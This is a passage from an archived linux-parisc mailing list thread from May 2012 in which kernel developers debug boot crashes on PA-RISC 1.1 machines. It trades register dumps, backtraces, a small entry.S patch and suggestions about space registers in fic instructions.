>> r08-11  17c5100b fffff000 17e60310 00020000
>> r12-15  00000ffc 0000000b 00000000 ffeff000
>> r16-19  007d4000 10768020 10000000 17c22db8
>> r20-23  17c245c8 108fc000 00000001 00000020
>> r24-27  000007d4 0f2fffe0 0000fa80 106e2020
>> r28-31  0f2ff000 000074ee 17c24640 000072e6
>> sr00-03  00000000 00000001 00000000 00000000
>> sr04-07  00000000 00000000 00000000 00000000
>>
>> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
>>  IIR: 078113e0    ISR: 00000000  IOR: 0f2ff000
>>  CPU:        0   CR30: 17c24000 CR31: f0102978
>>  ORIG_R28: 17ebbe40
>>  IAOQ[0]: flush_icache_page_asm+0x28/0x7c
>>  IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
>>  RP(r2): flush_cache_page+0x90/0xb0
>> Backtrace:
> This one is in a different place: flush_icache_page_asm.  It has
> crashed on the first fic,m instruction.  Again it is an illegal 
> instruction.
>
Looking at the PA 1.1 arch, I see that the space register needs to be
explicitly specified on PA 1.1 (format 26).  The implicit (format 24)
instruction was added in PA 2.0.

Could you try adding %sr0 to the fic instructions?

Thanks,
Dave



-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 20:52:48 +0100
Lines: 115
Approved: news@gmane.org
Message-ID: <1337111568.3005.36.camel@dabdike.lan>
References: <4FA9975C.5060708@bergerie>
	  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
	  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
	  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
	  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
	  <1337069366.3005.10.camel@dabdike.lan>
	 <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
	 <4FB2A58A.9050706@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337111578 8928 80.91.229.3 (15 May 2012 19:52:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 19:52:58 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 21:52:57 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUNnj-0007wI-4Y
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 21:52:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966637Ab2EOTwy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 15:52:54 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55604 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S966599Ab2EOTww (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 15:52:52 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6EEF98EE0DD;
	Tue, 15 May 2012 12:52:52 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id hyCTLT9Z2BjX; Tue, 15 May 2012 12:52:52 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9DAD48EE081;
	Tue, 15 May 2012 12:52:50 -0700 (PDT)
In-Reply-To: <4FB2A58A.9050706@gmx.de>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4397
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4397>

On Tue, 2012-05-15 at 20:50 +0200, Helge Deller wrote:
> On 05/15/2012 08:23 PM, John David Anglin wrote:
> > On 5/15/2012 5:13 AM, James Bottomley wrote:
> >> On Tue, 2012-05-15 at 09:09 +0100, James Bottomley wrote:
> >>> On Mon, 2012-05-14 at 18:38 -0400, John David Anglin wrote:
> >>>> On 14-May-12, at 6:11 PM, Helge Deller wrote:
> >>>>
> >>>>> The B160L and the 715/64 (both 32bit-only PA1.X machines) crashed
> >>>>> with the following trace.
> >>>>> All logs attached.
> >>>>>
> >>>>> Any ideas?
> >>>> This is exactly the same failure as reported by Vincent.
> >>>>
> >>>> The most likely problem is the PA 1.1 tmpalias support in entry.S is
> >>>> broken.  For example,
> >>>> the cache stride that is loaded in flush_dcache_page_asm to register
> >>>> r1 is wrong.  Probably,
> >>>> the do_alias macro is wrong for PA 1.1.  This is hunk of code that
> >>>> should be executed
> >>>> when a fdc non access fault occurs.
> >>>>
> >>>> nadtlb_check_alias_11:
> >>>>           do_alias        spc,t0,t1,va,pte,prot,nadtlb_emulate
> >>>>
> >>>>           idtlba          pte,(va)
> >>>>           idtlbp          prot,(va)
> >>>>
> >>>>           rfir
> >>>>           nop
> >>>>
> >>>> The TLB insert instructions on PA 1.1 have a different format than on
> >>>> PA 2.0.  I'm not sure
> >>>> how this would corrupt r1.
> >>>>
> >>>> On the other hand, I had asked Vincent to put a "b,n ." instruction
> >>>> just before the fdc loop,
> >>>> boot, hit the TOC button, and capture the setup registers for the
> >>>> flush operation.  It's possible
> >>>> the stride variable has been clobbered.
> >>> Actually, I don't think it's that.  I built a PA 1.1 only kernel and
> >>> booted it successfully on the C360.  That exercises all the _11 paths,
> >>> so I don't think there's a code fault.  I do think there's a non PA1.1
> >>> instruction in there somewhere that the C360 wouldn't notice.
> >> OK, I think this is the problem.  We have a depd instruction in do_alias
> >> which is now in the _11 fault paths.
> >>
> >> This should be the fix, if someone wants to test it before I can get
> >> around to building it.
> >>
> >> James
> >>
> >> ---
> >>
> >> diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
> >> index 6f05944..5350342 100644
> >> --- a/arch/parisc/kernel/entry.S
> >> +++ b/arch/parisc/kernel/entry.S
> >> @@ -581,7 +581,11 @@
> >>        */
> >>       cmpiclr,=    0x01,\tmp,%r0
> >>       ldi        (_PAGE_DIRTY|_PAGE_READ|_PAGE_WRITE),\prot
> >> +#ifdef CONFIG_64BIT
> >>       depd,z        \prot,8,7,\prot
> >> +#else
> >> +    depw,z        \prot,8,7,\prot
> >> +#endif
> >>       /*
> >>        * OK, it is in the temp alias region, check whether "from" or 
> >> "to".
> >>        * Check "subtle" note in pacache.S re: r23/r26.
> > Better check that this fix doesn't break 32-bit PA 2.0 as the seven 
> > bit are now being deposited
> > in a different place.
> 
> 
> James & Dave - good catches!
> 
> James patch now let my 715/64 boot, but still crashes on my B160L:
> 
> swapper (pid 1): Illegal instruction (code 8)
> 
>       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001110000100001111 Not tainted
> r00-03  0004e10f 00000020 101198cc 17c245c0
> r04-07  ffeff000 17ec05f8 007d4000 17e60260
> r08-11  17c5100b fffff000 17e60310 00020000
> r12-15  00000ffc 0000000b 00000000 ffeff000
> r16-19  007d4000 10768020 10000000 17c22db8
> r20-23  17c245c8 108fc000 00000001 00000020
> r24-27  000007d4 0f2fffe0 0000fa80 106e2020
> r28-31  0f2ff000 000074ee 17c24640 000072e6
> sr00-03  00000000 00000001 00000000 00000000
> sr04-07  00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
>   IIR: 078113e0    ISR: 00000000  IOR: 0f2ff000
>   CPU:        0   CR30: 17c24000 CR31: f0102978
>   ORIG_R28: 17ebbe40
>   IAOQ[0]: flush_icache_page_asm+0x28/0x7c
>   IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
>   RP(r2): flush_cache_page+0x90/0xb0
> Backtrace:

OK, so I assume one (the 715) has a shared D and I TLB and the b160
doesn't?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 21:59:45 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <4FB2B5B1.7000604@gmx.de>
References: <4FA9975C.5060708@bergerie>  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>  <1337069366.3005.10.camel@dabdike.lan> <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net> <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net> <4FB2B2A2.2020207@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337111995 12140 80.91.229.3 (15 May 2012 19:59:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 19:59:55 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 21:59:53 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUNuQ-0005Vl-Jn
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 21:59:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966239Ab2EOT7u (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 15:59:50 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.22]:46515 "HELO
	mailout-de.gmx.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S966182Ab2EOT7t (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 15:59:49 -0400
Original-Received: (qmail invoked by alias); 15 May 2012 19:59:46 -0000
Original-Received: from p54AD0613.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.6.19]
  by mail.gmx.net (mp033) with SMTP; 15 May 2012 21:59:46 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+3ZfBBuVa39USjUrxwmrevZQzFSnpvIlCx+IlUIu
	AmiMkLiCA5VYGM
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.10
In-Reply-To: <4FB2B2A2.2020207@bell.net>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4398
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4398>

On 05/15/2012 09:46 PM, John David Anglin wrote:
> On 5/15/2012 3:24 PM, John David Anglin wrote:
>> James patch now let my 715/64 boot, but still crashes on my B160L:
>>>
>>> swapper (pid 1): Illegal instruction (code 8)
>>>
>>>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>> PSW: 00000000000001001110000100001111 Not tainted
>>> r00-03  0004e10f 00000020 101198cc 17c245c0
>>> r04-07  ffeff000 17ec05f8 007d4000 17e60260
>>> r08-11  17c5100b fffff000 17e60310 00020000
>>> r12-15  00000ffc 0000000b 00000000 ffeff000
>>> r16-19  007d4000 10768020 10000000 17c22db8
>>> r20-23  17c245c8 108fc000 00000001 00000020
>>> r24-27  000007d4 0f2fffe0 0000fa80 106e2020
>>> r28-31  0f2ff000 000074ee 17c24640 000072e6
>>> sr00-03  00000000 00000001 00000000 00000000
>>> sr04-07  00000000 00000000 00000000 00000000
>>>
>>> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
>>>  IIR: 078113e0    ISR: 00000000  IOR: 0f2ff000
>>>  CPU:        0   CR30: 17c24000 CR31: f0102978
>>>  ORIG_R28: 17ebbe40
>>>  IAOQ[0]: flush_icache_page_asm+0x28/0x7c
>>>  IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
>>>  RP(r2): flush_cache_page+0x90/0xb0
>>> Backtrace:
>> This one is in a different place: flush_icache_page_asm.  It has
>> crashed on the first fic,m instruction.  Again it is an illegal 
>> instruction.
>>
> Looking at the PA 1.1 arch, I see that the space register needs to be
> explicitly specified on PA 1.1 (format 26).  The implicit (format 24)
> instruction was added in PA 2.0.
>
> Could you try adding %sr0 to the fic instructions?
no illegal instruction any longer, but "bad address"....
I changed all to " fic,m           %r1(%sr0,%r28)"



Freeing unused kernel memory: 320k freed
Backtrace:
  [<101198cc>] flush_cache_page+0x90/0xb0
  [<101b9b84>] do_wp_page+0x1e0/0x7b4
  [<101bb970>] handle_pte_fault+0x284/0x7c0
  [<101bbf74>] handle_mm_fault+0xc8/0x120
  [<10118cc8>] do_page_fault+0x228/0x2d0
  [<1011a838>] handle_interruption+0x1d4/0x6c4
  [<10105078>] intr_check_sig+0x0/0x34


Bad Address (null pointer deref?): Code=17 regs=17c244c0 (Addr=0f17d000)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111100100001111 Not tainted
r00-03  0004f90f 00000020 101198cc 17c24440
r04-07  4017d4c4 17ebf498 007cd000 007cdb05
r08-11  17ebee40 17ec55f4 107eb7c0 10768020
r12-15  000007cd 17ebee74 000005f4 00050000
r16-19  17c23098 17c24140 0011849c 17c22db8
r20-23  0000004b 108fc000 00000000 00000000
r24-27  000007cd 0f17dfe0 0000f9a0 106e2020
r28-31  0f17d000 17c23098 17c244c0 6fffffff
sr00-03  00000800 00000001 00000000 00000001
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
  IIR: 078102a0    ISR: 00000800  IOR: 0f17d000
  CPU:        0   CR30: 17c24000 CR31: f0102978
  ORIG_R28: 17c51000
  IAOQ[0]: flush_icache_page_asm+0x28/0x7c
  IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
  RP(r2): flush_cache_page+0x90/0xb0
Backtrace:
  [<101198cc>] flush_cache_page+0x90/0xb0
  [<101b9b84>] do_wp_page+0x1e0/0x7b4
  [<101bb970>] handle_pte_fault+0x284/0x7c0
  [<101bbf74>] handle_mm_fault+0xc8/0x120
  [<10118cc8>] do_page_fault+0x228/0x2d0
  [<1011a838>] handle_interruption+0x1d4/0x6c4
  [<10105078>] intr_check_sig+0x0/0x34


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 16:05:47 -0400
Lines: 99
Approved: news@gmane.org
Message-ID: <4FB2B71B.7090602@bell.net>
References: <4FA9975C.5060708@bergerie>  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>  <1337069366.3005.10.camel@dabdike.lan> <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net> <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net> <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337112328 15000 80.91.229.3 (15 May 2012 20:05:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 20:05:28 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 22:05:27 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUNzq-00019p-HA
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 22:05:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966080Ab2EOUF0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 16:05:26 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:44440 "EHLO
	mail-05.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S966025Ab2EOUFZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 16:05:25 -0400
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-05.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1SUNzl-0003Ct-33; Tue, 15 May 2012 16:05:22 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120428 Thunderbird/12.0.1
In-Reply-To: <4FB2B5B1.7000604@gmx.de>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4399
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4399>

On 5/15/2012 3:59 PM, Helge Deller wrote:
> On 05/15/2012 09:46 PM, John David Anglin wrote:
>> On 5/15/2012 3:24 PM, John David Anglin wrote:
>>> James patch now let my 715/64 boot, but still crashes on my B160L:
>>>>
>>>> swapper (pid 1): Illegal instruction (code 8)
>>>>
>>>>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>>> PSW: 00000000000001001110000100001111 Not tainted
>>>> r00-03  0004e10f 00000020 101198cc 17c245c0
>>>> r04-07  ffeff000 17ec05f8 007d4000 17e60260
>>>> r08-11  17c5100b fffff000 17e60310 00020000
>>>> r12-15  00000ffc 0000000b 00000000 ffeff000
>>>> r16-19  007d4000 10768020 10000000 17c22db8
>>>> r20-23  17c245c8 108fc000 00000001 00000020
>>>> r24-27  000007d4 0f2fffe0 0000fa80 106e2020
>>>> r28-31  0f2ff000 000074ee 17c24640 000072e6
>>>> sr00-03  00000000 00000001 00000000 00000000
>>>> sr04-07  00000000 00000000 00000000 00000000
>>>>
>>>> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
>>>>  IIR: 078113e0    ISR: 00000000  IOR: 0f2ff000
>>>>  CPU:        0   CR30: 17c24000 CR31: f0102978
>>>>  ORIG_R28: 17ebbe40
>>>>  IAOQ[0]: flush_icache_page_asm+0x28/0x7c
>>>>  IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
>>>>  RP(r2): flush_cache_page+0x90/0xb0
>>>> Backtrace:
>>> This one is in a different place: flush_icache_page_asm.  It has
>>> crashed on the first fic,m instruction.  Again it is an illegal 
>>> instruction.
>>>
>> Looking at the PA 1.1 arch, I see that the space register needs to be
>> explicitly specified on PA 1.1 (format 26).  The implicit (format 24)
>> instruction was added in PA 2.0.
>>
>> Could you try adding %sr0 to the fic instructions?
> no illegal instruction any longer, but "bad address"....
> I changed all to " fic,m           %r1(%sr0,%r28)"
>
>
>
> Freeing unused kernel memory: 320k freed
> Backtrace:
>  [<101198cc>] flush_cache_page+0x90/0xb0
>  [<101b9b84>] do_wp_page+0x1e0/0x7b4
>  [<101bb970>] handle_pte_fault+0x284/0x7c0
>  [<101bbf74>] handle_mm_fault+0xc8/0x120
>  [<10118cc8>] do_page_fault+0x228/0x2d0
>  [<1011a838>] handle_interruption+0x1d4/0x6c4
>  [<10105078>] intr_check_sig+0x0/0x34
>
>
> Bad Address (null pointer deref?): Code=17 regs=17c244c0 (Addr=0f17d000)
>
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111100100001111 Not tainted
> r00-03  0004f90f 00000020 101198cc 17c24440
> r04-07  4017d4c4 17ebf498 007cd000 007cdb05
> r08-11  17ebee40 17ec55f4 107eb7c0 10768020
> r12-15  000007cd 17ebee74 000005f4 00050000
> r16-19  17c23098 17c24140 0011849c 17c22db8
> r20-23  0000004b 108fc000 00000000 00000000
> r24-27  000007cd 0f17dfe0 0000f9a0 106e2020
> r28-31  0f17d000 17c23098 17c244c0 6fffffff
> sr00-03  00000800 00000001 00000000 00000001
> sr04-07  00000000 00000000 00000000 00000000
>
> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
>  IIR: 078102a0    ISR: 00000800  IOR: 0f17d000
>  CPU:        0   CR30: 17c24000 CR31: f0102978
>  ORIG_R28: 17c51000
>  IAOQ[0]: flush_icache_page_asm+0x28/0x7c
>  IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
>  RP(r2): flush_cache_page+0x90/0xb0
> Backtrace:
>  [<101198cc>] flush_cache_page+0x90/0xb0
>  [<101b9b84>] do_wp_page+0x1e0/0x7b4
>  [<101bb970>] handle_pte_fault+0x284/0x7c0
>  [<101bbf74>] handle_mm_fault+0xc8/0x120
>  [<10118cc8>] do_page_fault+0x228/0x2d0
>  [<1011a838>] handle_interruption+0x1d4/0x6c4
>  [<10105078>] intr_check_sig+0x0/0x34
>
>
>
>
Try %sr2 or %sr4.  %sr0 isn't zero.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 22:28:15 +0200
Lines: 110
Approved: news@gmane.org
Message-ID: <4FB2BC5F.3080905@gmx.de>
References: <4FA9975C.5060708@bergerie>  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>  <1337069366.3005.10.camel@dabdike.lan> <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net> <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net> <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de> <4FB2B71B.7090602@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337113704 25705 80.91.229.3 (15 May 2012 20:28:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 20:28:24 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 22:28:22 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUOM1-0007L3-C6
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 22:28:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933319Ab2EOU2U (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 16:28:20 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.22]:34262 "HELO
	mailout-de.gmx.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S933285Ab2EOU2T (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 16:28:19 -0400
Original-Received: (qmail invoked by alias); 15 May 2012 20:28:17 -0000
Original-Received: from p54AD0613.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.6.19]
  by mail.gmx.net (mp040) with SMTP; 15 May 2012 22:28:17 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18XflMIdJQXvouUXI2yfMc1BipS8XKDgBgvCWU59x
	ZZaJ5wbrKFTUTa
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.10
In-Reply-To: <4FB2B71B.7090602@bell.net>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4400
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4400>

On 05/15/2012 10:05 PM, John David Anglin wrote:
> On 5/15/2012 3:59 PM, Helge Deller wrote:
>> On 05/15/2012 09:46 PM, John David Anglin wrote:
>>> On 5/15/2012 3:24 PM, John David Anglin wrote:
>>>> James patch now let my 715/64 boot, but still crashes on my B160L:
>>>>>
>>>>> swapper (pid 1): Illegal instruction (code 8)
>>>>>
>>>>>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>>>> PSW: 00000000000001001110000100001111 Not tainted
>>>>> r00-03  0004e10f 00000020 101198cc 17c245c0
>>>>> r04-07  ffeff000 17ec05f8 007d4000 17e60260
>>>>> r08-11  17c5100b fffff000 17e60310 00020000
>>>>> r12-15  00000ffc 0000000b 00000000 ffeff000
>>>>> r16-19  007d4000 10768020 10000000 17c22db8
>>>>> r20-23  17c245c8 108fc000 00000001 00000020
>>>>> r24-27  000007d4 0f2fffe0 0000fa80 106e2020
>>>>> r28-31  0f2ff000 000074ee 17c24640 000072e6
>>>>> sr00-03  00000000 00000001 00000000 00000000
>>>>> sr04-07  00000000 00000000 00000000 00000000
>>>>>
>>>>> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
